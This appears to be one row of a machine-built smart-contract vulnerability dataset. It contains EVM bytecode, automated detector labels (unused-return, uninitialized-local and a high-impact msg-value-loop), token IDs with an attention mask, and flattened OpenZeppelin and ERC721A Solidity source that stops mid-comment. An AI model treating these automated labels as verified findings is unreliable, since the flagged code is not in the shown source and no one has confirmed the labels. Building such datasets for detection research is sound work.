0830184612ad5565b979650505050505050565b60006020828403121561357657600080fd5b8151612ace81612a9b565b600060033d111561359a5760046000803e5060005160e01c5b90565b600060443d10156135ab5790565b6040516003193d81016004833e81513d6001600160401b0381602484011181841117156135da57505050505090565b82850191508151818111156135f25750505050505090565b843d870101602082850101111561360c5750505050505090565b61361b60208286010187612b68565b509095945050505050565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6001600160a01b0386811682528516602082015260a06040820181905260009061369a90830186612fb1565b82810360608401526136ac8186612fb1565b905082810360808401526136c08185612ad5565b9897505050505050505056fea2646970667358221220f433e96f2600eeb757d2d060b231e2042ba323298d485dc158c2789aacb4b43064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'msg-value-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2692, 2475, 2497, 2581, 16048, 2094, 2683, 2063, 2581, 2575, 2278, 4246, 20952, 2497, 2620, 2509, 2497, 22407, 19797, 19481, 2683, 12521, 2546, 17914, 2546, 22394, 8889, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1005, 1012, 1013, 23713, 25114, 15194, 17345, 1012, 14017, 1005, 1025, 3206, 15876, 10695, 7274, 11452, 15194, 2003, 23713, 25114, 15194, 17345, 1063, 5164, 2270, 2171, 1027, 1000, 15876, 10695, 7274, 1024, 2373, 1011, 3413, 4606, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 2572, 1024, 1044, 1000, 1025, 9570, 2953, 1006, 1007, 11849, 2094, 1006, 1007, 2572, 14526, 24087, 15058, 1006, 1000, 1000, 1007, 1063, 2275, 18715, 2368, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,852
0x95D295237D4b741e9EbcE4C7CE2d7f5389C23D31
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: tests/ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or 